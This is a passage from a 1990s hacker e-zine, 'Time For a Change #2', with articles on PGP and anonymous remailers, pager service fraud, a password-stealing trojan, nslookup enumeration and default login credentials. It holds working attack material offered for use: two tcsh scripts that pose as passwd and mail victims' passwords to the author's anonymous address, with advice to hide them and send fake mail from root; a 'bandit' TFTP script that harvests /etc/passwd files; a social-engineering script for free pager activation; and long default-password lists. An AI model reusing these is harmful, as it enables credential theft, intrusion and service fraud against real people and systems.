ek Encrypt responses in reply blocks using Encrypt-Key: header.
special
Accepts only pgp encrypted messages.
--------------------------END INSERTED FILE #3--------------------------------
-- SIGNING AND IT'S SIGNIFICANCE
What is Signing?
Signing a plaintext message is a way of letting people know that it was really
you who sent the message. That is another key feature of public key crypto-
systems.
Signing a message does a number of things. It creates an encrypted block at
the bottom of your message containing information about the message, your
public key id, etc.. Therefore the message cannot be altered and still pass
a signature check. The signature check verifies that you are who you say you
are, and that the message has not been altered since your signature.
Signing someones public key is another useful validation technique. If you
sign someone's public key, it is saying that you know that they are who they
say they are.
Needless to say, it would be quite a pain in the ass to have to encrypt,
sign, chain, etc.. everything manually, and that is one of the main reasons
I've heard a lot of people say they don't use encryption, because it's too
much of a hassle to deal with it. Well, hopefully the next section here will
cure some of those woes.
-- WAYS TO EASE THE PAIN
Well, I do realize this seems like quite a painful process, but there are a lot
of helpful tools out there to make it a bit easier to use these services.
I will also rate each program on a 4 star rating scale. This has nothing to
do with the quality of the program, but with how useful it is in real use
applications as rated by ME. If you want to form your own opinions, feel free,
get these programs!
PGPSH32A.ZIP - PGP Shell vers 3.2a. A Nice tool to automate key management,
* * x signing, etc. Main Drawback: No external editor support, built
in editor sucks.(2.5 * would be 4 if it could support a real
editor.)
PGPBLU17.ZIP - PGP Interface for Blue Wave Offline Mail Reader. Easy to use
* * * * signing, encrypting, etc.. All wrapped up in a nice interface.
Easy to install, easy to use. BW2.10+ supports QWK too, so you
can use it with your email and usenet.
CHAIN.ZIP - Also comes in a tgz archive for unix. Automates chaining
* * * mail through anon remailers. You can configure it to keep your
favorite ones handy. Comes with DOS executable and C source.
(Note: The .tgz archive is actually a completely different
package. It is a set of perl scripts designed to help chain
remailers. These packages are by different authors also.)
DOSBAT.ZIP - For unix, look for scripts.tar.z. A collection of batch files
* * * | (or scripts) that automates lots of things in regard to chaining
remailers. Creates reply blocks, chains messages, etc.. A great
package.
MEDUSA1B.ZIP - Medusa's Tentacles - Great system using a fuzzy logic algorithm
* * * * to strip all identifying information from a anon post/mail
message. VERY cool.
MESS11B.ZIP - Message Encryption and Signing System. Nice if you want to keep
* * your public key on whatever system you use for mail. Otherwise
it seems a lot like the PGPBLUE interface. Not recommended
unless you are sending mail from your local site. If you are,
then it is an excellent substitute for PGPBLUE.
premail0.30.tar.gz - An excellent script package for preparing your mail for
* * * The long journey through the remailing chain.
APGP212.ZIP - Also comes as source for unix as autopgp*.tar.gz. AutoPGP is
* * * a nice pre-post mail handler for QWK packets. It will search
your packet for encrypted messages/mail, new keys, etc.. before
you get to the mail. A nice package overall.
Also, if you really get into it, the source for remailers and such is widely
available. You can run your own quite easily.
These are but a few of MANY, MANY good programs to help streamline your
encryption needs. a couple of places to start are:
ftp.csua.berkeley.edu /pub/cypherpunks - This is the main cypherpunk
ftp site. You can find a lot of interesting stuff here.
ftp.dsi.unimi.it /pub/security/crypto - Here you can find a bunch of illegally
exported crypto. Everything imaginable is probably on this site.
also:
check out the web links from http://www.csua.berkeley.edu/cypherpunks.html
All in all, the cypherpunks home page sucks, but it is a good place to find
other good crypto links.
-- IN CLOSING
I hope this file has been somewhat helpful in demonstrating the need for the
use of cryptography in your everyday communications. In researching this file,
I have learned a few extra things myself. Enjoy, and Encrypt.
Great and mighty thanks be to:
Phil Zimmermann (For being a hero for the cause of privacy!)
Matt Ghio (Author of the remailer help file)
Raph Levien (Author of the remailer information file and operator of the
remailer pinging service (from which the file was derived))
And to the author of the chaining help file, whoever he or she may be.
Ghost in the Machine
gitm@alpha.c2.org
-----------------------------------------------------------------------------
Time For a Change
presents
pagers...PAGERS...pAgErS...PaGeRs...PagerS...
by
Major
------------------------------------------------------------------------------
BASICS (stuff you already know)
-------------------------------
Pagers are radio receivers, capable of decoding and displaying
numeric, and sometimes alpha, messages. Pagers operate in a state
of perpetual reception, and whenever the system sends a message
keyed to a particular pager, the pager responds by giving an alert
(either audible beeps, or vibration), and displays the message.
SERVICE
--------------------------------
Pager service is cheap. Damn cheap. A month's worth of service
should cost less than $10. So, there isn't much of a financial
reason to have to hack free paging service. But...
There are very few companies that provide paging service in any
given area, yet there are multitudes of companies that sell the
service. These are "agents" or "resellers". In order to activate
your pager (you do have a pager, don't you?), you will need to know
a couple of thing about it: it's capcode, and it's frequency.
Generally, both of these are printed on the pager itself (on the
back, on stickers). The capcode consists of six-digits, but often
times letters will be scattered in as well. Discard the letters,
keep the numbers, and you have your capcode. The frequency will
be in a XXX.XXXX format. Your next step will be to find out which
paging company uses the frequency in your pager in your area. A
few phone calls will do the trick. Simply call and ask. It may
take a while to find someone with enough technical knowledge to
answer you, but once you find someone who knows it shouldn't be
hard to get the information from them. Simply tell them you have
a pager on (xxx.xxxx frequency) and want to know if it can be used
on their system. The next step will be to find out which "agents"
sell service for the company you have targeted. This is easy, too.
In fact, while you are on the phone asking about frequencies, you
can ask for a list of authorized agents. The yellow pages will
also yield some results.
Enough of the easy stuff, on to the hard part. Social engineering
skills are essential here. When an agent sells a pager to a
customer, they must activate the pager with the paging company.
This is done either through a dial-up system, where the agents
enters the pager info in the paging companies computer, or over the
phone, where the agent calls the paging company, relays the
information, and the company enters the information into their
computer. To activate your own pager, you will need to assume the
identity of an agent, and call the paging company. The
conversation should be fairly simple.
"Hi, this is KewlHac from ABC Paging, I need to activate a pager."
"Sure thing!"
"Okay, the capcode is 123456."
"Fine. The number for that pager will be 555-6969."
"Thanks, have a good day."
Done. If ABC paging usually activates its pagers via computer, you
might add "Sorry to bother you, but my computer is down...could you
help me out?" A trip to ABC Paging, posing as a potential customer
should tell you if this is the case.
How long will it last? Depends on how sharp ABC Paging is. At
worst, 555-6969 should remain valid for at least a month; at best,
who knows. Enjoy it while you can.
HARDWARE
--------
One word: Motorola. This is, of course, a matter of personal preference,
but I have found Motorola products to be of the highest quality. Also,
since Motorola pagers dominate the market, it is easier to find support
for their products.
The Motorola family of alpha-pagers includes The Bravo, Bravo Plus, Bravo
Express, the Encore, and the Lifestyle Series (essentially Bravos, in
redesigned cases). Literature from pager companies will explain the
features available in these pagers, as well as pagers from other manufactures,
so I won't bother reproducing that here.
Most Motorola pagers are programmable via a PC interface (the exception
being the Bravo, which requires a dedicated programmer). I have seen
some Motorola pager programming software on bbs's, but without cables
and a "pager interface box" (essentially, an rs-232 to tty converter),
the software is useless.
Any decent service center will have the hardware and software required
to read and program your pager. Shop around until you find one that
is hacker-friendly, or can be social-engineered into carrying out your
wishes. Unlike a cellular ESN, a pagers CAPCODE can easily be changed
with the programming software. The frequency (in a synthesized pager)
can also be changed, within a given range. Other options, such as
timestamping (12 or 24 hour), alert-tone volume, etc., are available
for alteration via the programming software.
-------------------------------------------------------------------------------
-----------------------------------------------------------------------------
Time For a Change
presents
passwd trojan
by
Terminal
------------------------------------------------------------------------------
Here I will be presenting two scripts, (more of an idea really)... That
you may use to get passwords from people's accounts you are using via
rlogin... I am not a super script writer, and that is why I present it as
more of an idea, with an example or two...
If you get on someones account, you may want to hide this file, for this
example we will assume it is named ".hiddenf"... So you could put this
in the users home directory, and then add to the users .login an alias
for "/bin/passwd/" and "passwd", with "$HOME/.hiddenf" being run instead, so
that anytime after that, when they try to change their password, they will
really run the script... This script never erases it itself, because
then you would never get the NEW password...
---BEGIN SCRIPT ONE---
#!/bin/tcsh
echo -n "Changing password for $USER on "
hostname
echo -n "Old password: "
stty -echo
echo $<>$HOME/.tym
stty echo
echo ""
mail me@my.anon.mail.service.org<$HOME/.tym
rm $HOME/.tym
echo
echo "Sorry."
--END SCRIPT ONE---
Now this next script is a bit different, in that it prompts for both old and
new passwords, and then gives an 'error' of "Incorrect Password"... and
erases itself... With this you would sort of have to hope the user chooses
the same "New Password" the second time it is run.. (The real passwd binary
that is)... When 'installing' this you would probably once again want to
hide it, and alias "/bin/passwd" and "passwd" to run the hidden file..
---BEGIN SCRIPT TWO---
#!/bin/tcsh
echo -n "Changing password for $USER on ";hostname
echo -n "Old password: "
stty -echo
echo $<>$HOME/.tym
echo ""
echo -n "New password: "
echo $<>>$HOME/.tym
echo ""
stty echo
mail me@my.anon.mail.service.org<$HOME/.tym
rm $HOME/.tym
echo "Error: Incorrect Password"
rm -f $0
unalias /bin/passwd
unalias passwd
---END SCRIPT TWO---
Now you may think "Why would the user want to change his/her password
anytime soon?".. Well, to get them to change passwords you could send
fakemail 'from' their root.. saying that the password file has been tampered
with, and that they need to change passwords.. maybe even saying "please
use at least one upper case letter, and a number", or something to make
it sound real... Or if you could think of any other way to scare the user
into changing it, that would also work...
I hope this helps someone.
============================================================================
Time For a Change
presents
nslookup: Utility From The Gods
by
Panther Modern
------------------------------------------------------------------------------
The nslookup utility is one that at a glance, does not show itself
to be largely useful to the hacker populous at large. However, by exploiting
this system to it's full extent, nslookup proves invaluable. In TFC Issue
One, Article One, Ghost in The Machine pointed out several ways to find new
domain names. The nslookup utility will give you a method to find ALL hosts.
nslookup also allows one to find real machines within a domain, eliminating
hassle when scanning through domains looking for machine names. All in all,
the nslookup utility is one of previously undefined wealth and value to those
who know how to correctly exploit it's virtues.
Section 1: A Bit About nslookup
nslookup follows the client-server model, in that your nslookup client
will act as a gateway for you to access information contained on the server,
which in most cases will be entitled ns.domain.com, domain.com being the root
domain. On occasion, domain.com will have several name servers, these usually
denoted by ns1.domain.com, ns2.domain.com, etc. Also generally noted will
be domain name servers in another domain's hierarchical setup. There are no
rules regarding naming of domain name servers. By using a domain's given
name service, one is able to determine any information one requires about the
given domain's systems, thus enabling one to eliminate previous scanning
techniques. Everything which the name server knows, the name server tells.
Everything which the name server knows, your client knows. Finally,
Everything Which The Name Server Knows, YOU Know.
Section 2: Finding New Domains
nslookup is invaluable at finding new domains. The first step in
doing so is to connect via your nslookup client to one of several major domain
name servers located around the net. In this example, I will use the server
at ns.internic.net. The following commands should be executed. . .
$ nslookup
Default Server: ns.domain.com <-- This is the server for your site
Address: 127.0.0.1
> server ns.internic.net <-- We will proceed to go to this server
Default Server: ns.internic.net
Address: 198.41.0.4
Now that we are in our server, we will continue, and find ourselves
a listing of every educational name server which our base name server knows
about. By getting this list, we can thus determine the names of the domains.
This same procedure can also be followed for COM, ORG, as well as country
sites, such as IL and PL. For military and government information, it is
recommended that server nic.ddn.mil be used.
> ls EDU <-- All educational name servers.
[ns.internic.net]
edu. server = NS.INTERNIC.NET
edu. server = AOS.ARL.ARMY.MIL
edu. server = NS1.ISI.edu
edu. server = C.PSI.NET
edu. server = TERP.UMD.edu
edu. server = NS.NASA.GOV
edu. server = NIC.NORDU.NET
edu. server = NS.ISC.ORG
edu. server = NS.NIC.DDN.MIL
caltech server = DELILAH.CCSF.CALTECH.edu
caltech server = SAMPSON.CCSF.CALTECH.edu
caltech server = TYBALT.CALTECH.edu
TYBALT.CALTECH 131.215.139.100
caltech server = NS1.LBL.GOV
caltech server = PUN.CIS.OHIO-STATE.edu
caltech server = gap.cco.caltech.edu
gap.cco.caltech 131.215.139.43
caltech server = gap-gw.cco.caltech.edu
gap-gw.cco.caltech 131.215.139.43
caltech server = hot.CALTECH.edu
hot.CALTECH 131.215.9.49
I have cut out all servers that were given to me except for the top-
level servers, and the caltech servers, for ease of display. I recommend
that when doing a listing such as this, you output it to a file. This is
done simply by doing a
> ls EDU > EDU
This will output to a file called EDU. The top-level servers listed
above are those servers which our current name server knows of that can also
give similar listings of complete domains. All secondary servers are mainly
meant to give listings of their sites. By sorting through our file, EDU,
we can now find out new and different .edu sites that we've never heard of
before.
Section 3: Using Our New Domain Information
Let us pretend that I have never heard of domain caltech.edu before.
Wow! It's a new domain! I wonder what some of it's systems are? Let's find
out.
$ nslookup
Default Server: ns.domain.com
Address: 127.0.0.1
> server hot.caltech.edu
Default Server: hot.caltech.edu
Address: 131.215.9.49
> ls caltech.edu
[hot.caltech.edu]
caltech.edu. server = gap.cco.caltech.edu
gap.cco 131.215.139.43
caltech.edu. server = gap-gw.cco.caltech.edu
gap-gw.cco 131.215.139.43
caltech.edu. server = tybalt.caltech.edu
tybalt 131.215.139.100
caltech.edu. 131.215.139.3
caltech.edu. 131.215.51.153
zoo-mac 131.215.44.19
grayver-ppp 131.215.198.103
photon 131.215.156.14
bettys 131.215.139.180
102-Keck-Photo 131.215.9.60
The caltech.edu name server gave us first and foremost a listing of
all other caltech.edu name servers. This will probably be useless, but
sometimes, if one is patient and bored, one can go through every name server,
and find sites not listed in the base name servers. However, I find this to
be superfluous, and boring, as stated above. Anyway, we are also given a list
of every site at caltech.edu. These sites are real, and we have just
eliminated the need for ip-scanning to find sites in a given domain. We have
them all, and we are very happy. As a side note, for clarity, I have cut
out all but these few sites. The output files for large sites such as these
can sometimes be well over 150k worth of site names and ip addresses.
Section 5: Using Our Sites For Fun and Profit and Other Stuff
Now we have a huge list of sites. One may hack them one by one, or
use our big list to find things. For instance, one can grep through our list
for "dial" and attempt to find dialouts. Be creative. Look for decservers,
or whatever types of systems you specialize in hacking by grepping through
lists for their names. Okay, so this isn't as fun as sex, and won't get you
any monetary profit. But do it anyway.
Section 5a: tftp Scanning Using nslookup Output
I originally taught myself use of the nslookup system in order to
scan tftp. By using this system, I am able to tftp scan much more quickly,
by only hitting real sites. On one run, I was tftp scanning 16 colleges at
once for a 10 hour period, and ended up with over 400 password files.
Step one: Get nslookup lists of your favorite domains, and output
them to files, using the above method.
Step two: Cut the first two lines off of your file, using vi, or your
favorite editor. Then, execute the following commands.
(domain.edu being our assumed file)
$ cat domain.edu | grep -v server > domain2.edu
This will remove useless lines.
$ rm domain.edu
$ cat domain2.edu | cut -c1-32 > domain.edu
This will leave you with only ip numbers.
Step three: Utilize the scanner. I would recommend nohupping it.
$ nohup `bandit domain.edu` &
Step four: Wait several hours for the scanner to finish (mattering
on domain size.), then harvest your many password files.
File: bandit
----------------------------Cut Here------------------------------------
#/bin/ksh
#TFTP Bandit
#By Panther Modern
#Usage: nohup `bandit <inputfile>` &
#
PDIR="~/pdir"
# Define your Password Directory here.
function testcomp {
tftp $1 << eof
verbose
timeout 7
trace
get /etc/passwd $1
eof
}
for i in `cat $1`
do
testcomp $i > /dev/null
if [ -s $i ]
then
cp $i /$PDIR/$i
fi
rm $i
done
----------------------------Cut Here-----------------------------------
--- Endnote ---
If anyone encounters problems with anything in this file, or finds
an error, I would appreciate a report. Such reports can be directed to
Ghost in the Machine at his email address, or to Panther Modern on quality
boards in the 303 NPA.
------------------------------------------------------------------------------
Time For a Change
presents
Operating System Identification and default accounts. v0.01
by
Taking Your Machine
------------------------------------------------------------------------------
#####
AS/400 -
Easily identified by:
UserID?
Password?
Some defaults:
UserID Password
------ --------
qsecofr qsecofr / 1111111 / 2222222
qsysopr
qpgmr qpgmr
ibm password / 2222 / service
qsvr qsvr
secofr secofr
#####
Gandalf XMUX Consoles - (Gandalf)
Only known prompt:
Password>
Gives you 3 tries. VERY Common Passwords:
console
gandalf
system
xmux
Also found on XMUX's are the Logger and Machine LCN's. Use ports 2 and 3
respectively to reach these.
(Note I have only seen these on Datapac, and other X.2X networks.)
#####
HP 2000/3000 MPE/xx (Hewlett Packard)
Customizable login prompt, but the default is:
: <press return>
EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. (CIERR 1402)
: hello mgr.telesup
ENTER ACCOUNT (TELESUP) PASSWORD: hponly
ENTER ACCOUNT (TELESUP) PASSWORD: telesup
ENTER ACCOUNT (TELESUP) PASSWORD: remote
INCORRECT PASSWORD. (CIERR 1441)
From the : prompt type HELLO <USER>.<ACCOUNT>, <JOB>. A fairly long list of
defaults follows.
USER.ACCOUNT JOBS PASSWORDS
--------------- -------- -----------
ADVMAIL.HPOFFICE DATA HP
FIELD.HPWORD PUB HPONLY
FIELD.HPP187 SYS LOTUS
FIELD.SERVICE MANAGER
FIELD.SUPPORT MGR
MAIL.HPOFFICE MPE
MAIL.MAIL REMOTE
MAIL.TELESUP TELESUP
MANAGER.COGNOS
MANAGER.HPOFFICE
MANAGER.ITF3000
MANAGER.SECURITY
MANAGER.SYS
MANAGER.TCH
MANAGER.TELESUP
MGE.VESOFT
MGR.CAROLIAN
MGR.CCC
MGR.CNAS
MGR.CONV
MGR.COGNOS
MGR.HPDESK
MGR.HPWORD
MGR.HPOFFICE
MGR.HOPNLY
MGR.HPP187
MGR.HPP189
MGR.HPP196
MGR.INTX3
MGR.ITF3000
MGR.NETBASE
MGR.REGO
MGR.RJE
MGR.ROBELLE
MGR.SECURITY
MGR.SYS
MGR.TELESUP
MGR.VESOFT
MGR.WORD
MGR.XLSERVER
OPERATOR.COGNOS
OPERATOR.DISC
OPERATOR.SYS
OPERATOR.SYSTEM
OPERATOR.SUPPORT
PCUSER.SYS
RSBCMON.SYS
SPOOLMAN.HPOFFICE
WP.HPOFFICE
#####
PrimeOS - VERY Common on X.25/29 networks.
Default connect notification:
PRIMENET 23.2.0.r26 P6450
Then type LOGIN to get the User id? prompt.
User id?
SYSTEM
Password?
SYSTEM
Defaults:
login password
----- --------
system system / prime
mail mail
prime prime / primos
primos_cs prime / primos
primenet primenet
mfd mfd
tele tele
netlink netlink
test test
guest guest
guest1 guest / guest1
#####
System 75 -
Login:
Password:
If you enter an incorrect login name, it will instantly give you:
INCORRECT LOGIN
Common defaults follow:
Login Password
----- --------
bcim bcimpw
bciim bciimpw
bcms bcmspw / bcms
bcnas bcnspw
blue bluepw
browse looker / browsepw
craft crftpw / craftpw / craft
cust custpw
enquiry enquirypw
field support
inads indspw / inadspw / inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw / rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field
#####
UNIX (various flavors, various manufacturers) -
UNIX is easily recognized by it's prompts:
login:
Password:
Login incorrect
There are infinite combinations of possible login prompt setups, /etc/issue
files (which are shown before login), etc.. Nonetheless, UNIX usually
identifies itself quite easily.
Note: the only "default" most UNIX's come with that is usable is root.
However, the following is a list of commonly found accounts. If it is
actually a default, it will be noted what flavor of UNIX it is found on.
login Password
----- --------
root root
sys sys or system or bin
sysadm sysadm or admin
sysadmin sysadmin or admin
bin sys or bin
sysbin sysbin
daemon daemon
lp lp or bin
lpadm lpadm
lpadmin lpadmin
checkfs checkfs
checkfsys checkfsys
checksys checksys
mountfs mountfs
mountfsys mountfsys
mountsys mountsys
umountfs umountfs
umountfsys umountfsys
umountsys umountsys
powerdown powerdown
trouble trouble
adm adm
rje rje
unix unix
uucp uucp
uucpadm uucpadm
nuucp nuucp
anon anon
user user
games games
install install
setup setup
demo demo
sync sync
admin admin
guest guest
informix informix
oracle oracle
snake (no password - Linux)
satan (no password - Linux)
gonzo (no password - Linux)
EZsetup (no password - IRIX)
demos (no password - IRIX)
OutOfBox (no password - IRIX)
4Dgifts (no password - IRIX)
tutor (no password - IRIX)
#####
VM/CMS (International Business Machines) -
Customizable logon screen, but the default is:
VM/370 ONLINE--VM/3084--PRESS BREAK KEY TO BEGIN SESSION
!
Enter one of the following commands :
LOGON userid (Example: LOGON VMUSER1)
DIAL userid (Example: DIAL VMUSER2)
MSG userid message (Example: MSG VMUSER2 GOOD MORNING)
LOGON <USERID>
USERIDS
-------
$ALOC$
TEMP
TDISK
CPNUC
DIRECT
SAVSYS
SYSERR
SYSCKP
SYSWRM
AUTOLOG1
CMSBATCH
CMSUSER
EREP
GCS
IVPM1
IVPM2
MAINT
OLTSEP
OPERATNS
OPERATOR
SYSDUMP1
TSAFVM
VSEMAINT
VSEIPO
ROUTER
AP2SVP
APL2PP
VMASSYS
VMASMON
VASTEST
BATCH
BATCH1
BATCH2
CSPUSER
CVIEW
DIRMAINT
DATAMOVE
SFCNTRL
FSFTASK1
FSFTASK2
FSFADMIN
IIPS
ADMIN
DISKCNT
CPRM
OP1
VMUTIL
IPFSERV
ISPVM
NETVIEW
PRODBM
PROMAIL
PROCAL
SYSADMIN
SFCM1
PSFMAINT
PDM470
PDMREMI
PVM
RSCS
RSCSV2
SMART
SQLDBA
SQLUSER
VMARCH
VMBACKUP
VMBSYSAD
DEMO1
DEMO2
DEMO3
DEMO4
VMTAPE
VMTLIBR
VMMAP
VTAM
VM3812
VSEMAN
PENG
MOESERV
VTAMUSER
CCC
IDMSSE
IDMS
######
VMS (Digital Equipment Corp.) -
Username:
Password:
User authorization failure
USERNAME PASSWORD
-------- --------
SYSTEM SYSTEM or MANAGER or OPERATOR or SYSLIB
FIELD FIELD or SERVICE or TEST or DIGITAL
DEFAULT USER or DEFAULT
SYSTEST UETP or SYSTEST
SYSMAINT SYSMAINT or SERVICE or DIGITAL
VAX VAX
VMS VMS
DCL DCL
DEMO DEMO
TEST TEST
HELP HELP
NEWS NEWS
GUEST GUEST
GAMES GAMES
DECNET DECNET
SYS SYS
NETCON NETCON
ALLIN1 ALLIN1
NETPRIV NETPRIV
OPERVAX OPERVAX
ALLINONE ALLINONE
TELEDEMO TELEDEMO
NETSERVER NETSERVER
NETNONPRIV NETNONPRIV
RJE RJE
HOST HOST
LINK LINK
INFO INFO
BACKUP BACKUP
NETWORK NETWORK
DECMAIL DECMAIL
HELPDESK HELPDESK
REPORT REPORT
MBWATCH MBWATCH
MBMANAGER MBMANAGER
SYSTEST_CLIG SYSTEST_CLIG
UETP UETP
USERP USERP
STUDENT STUDENT
PRIV PRIV
POSTMASTER POSTMASTER
NEWINGRES NEWINGRES
NETMGR NETMGR
NETSERVER NETSERVER
INGRES INGRES
MAILER MAILER
DECNET DECNET
ALLIN1MAIL ALLIN1MAIL
HOST HOST
#####
-----------------------------------------------------------------------------
END TIME FOR A CHANGE #2
